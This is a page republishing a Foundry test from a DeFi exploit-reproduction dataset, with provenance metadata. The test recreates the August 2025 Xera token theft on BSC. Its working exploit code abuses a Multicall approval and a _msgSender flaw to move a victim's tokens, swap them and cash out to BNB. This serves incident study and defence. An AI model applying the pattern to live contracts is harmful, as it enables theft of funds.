Public reproduction file
src/test/2025-08/MulticallWithXera_exp.sol
Public reproduction file for dataset entry MulticallWithXera.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.0;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 17k USD8// Attacker : https://bscscan.com/address/0x00b700b9da0053009cb84400ed1e8fe251002af39// Attack Contract : https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b710// Vulnerable Contract : https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b711// Attack Tx : https://bscscan.com/tx/0xed6fd61c1eb2858a1594616ddebaa414ad3b732dcdb26ac7833b46803c5c18db13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7#code16// @Analysis17// Post-mortem : https://x.com/TenArmorAlert/status/195835493324759045018// Twitter Guy : https://x.com/TenArmorAlert/status/195835493324759045019// Hacking God : N/A22contract Multicall is BaseTestWithBalanceLog {23 uint256 blocknumToForkFrom = 58269338 - 1;25 address constant multicall = 0xcA11bde05977b3631167028862bE2a173976CA11;26 address constant cakeLP = 0x231075E4AA60d28681a2d6D4989F8F739BAC15a0;27 address constant xera = 0x93E99aE6692b07A36E7693f4ae684c266633b67d;28 address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;29 address constant victim = 0x9a619Ae8995A220E8f3A1Df7478A5c8d2afFc542;31 function setUp() public {32 vm.createSelectFork("bsc", blocknumToForkFrom);33 // Set the funding token to native BNB (address(0)) for balance logging.34 fundingToken = address(0);35 }37 function testExploit() public balanceLog {38 // The core of the exploit is to abuse the token approval granted by the victim to39 // the Multicall contract. 41 // 1. Craft the malicious calldata.42 // The parameters are:43 // - from: the `victim` contract's address.44 // - to: the `cakeLP` (PancakeSwap LP) address.45 // - amount: a large amount of Xera tokens to be transferred.46 bytes memory data = abi.encodeCall(47 IERC20.transferFrom,48 (49 victim,50 cakeLP,51 2790000000000000000000000052 )53 );55 // 2. Prepare the call for the Multicall contract.56 // - target: the `xera` token contract. The `transferFrom` will be executed on this contract.57 // - allowFailure: false, meaning the transaction will revert if this call fails.58 // - callData: the malicious calldata crafted in the previous step.59 IMulticall.Call3 memory call = IMulticall.Call3({60 target: address(xera),61 allowFailure: false,62 callData: data63 });65 // 3. Execute the malicious call via Multicall's `aggregate3`.66 // The `aggregate3` function of the Multicall contract executes the provided calls.67 // Due to the vulnerability, when the `xera` contract receives this call, it will68 // incorrectly identify the `victim` contract as the `msg.sender` because of how `_msgSender()` is implemented.69 // This allows the `transferFrom` to succeed as if the victim had initiated it,70 // since the victim had previously approved the multicall contract to spend its Xera tokens.71 IMulticall.Call3[] memory calls = new IMulticall.Call3[](1);72 calls[0] = call;73 IMulticall(multicall).aggregate3(calls);76 // 4. Swap the stolen tokens for WBNB.77 // The attacker now controls the stolen Xera tokens within the PancakeSwap LP contract.78 // They call the `swap` function on the `cakeLP` pair to exchange the Xera tokens for WBNB.79 IPancakePair(cakeLP).swap(0, 41034748173552867045, address(this), "");81 // 5. Withdraw the WBNB to the attacker's address.82 // The final step is to unwrap the WBNB into native BNB, effectively cashing out the stolen funds.83 IERC20(wbnb).withdraw(41034748173552867045);85 }87 // A receive function to allow the contract to receive native BNB.88 receive() external payable{}89}92interface IMulticall {93 function aggregate3(Call3[] calldata calls) external payable returns (Result[] memory returnData);96 struct Call3 {97 address target;98 bool allowFailure;99 bytes callData;100 }103 struct Result {104 bool success;105 bytes returnData;106 }107}Analysis
Dataset entry
Public Foundry test for “MulticallWithXera” (2025-08-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x00b700b9da0053009cb84400ed1e8fe251002af3
- Attack Contract
0x90be00229fe8000000009e007743a485d400c3b7
- Vulnerable Contract
0x90be00229fe8000000009e007743a485d400c3b7
- Attack Tx
0xed6fd61c1eb2858a1594616ddebaa414ad3b732dcdb26ac7833b46803c5c18db
- Post: https://x.com/TenArmorAlert/status/1958354933247590450
- Explorer: https://bscscan.com/address/0x00b700b9da0053009cb84400ed1e8fe251002af3
- Explorer: https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7
- Explorer: https://bscscan.com/address/0x90be00229fe8000000009e007743a485d400c3b7#code
File record
- Name
- MulticallWithXera
- Path
- src/test/2025-08/MulticallWithXera_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ae0f21b47e875f0db855a312172d6126a0da29b3
- Language
- Solidity
- Size
- 107 lines
- Date
- 2025-08-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/MulticallWithXera_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ae0f21b47e875f0db855a312172d6126a0da29b3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.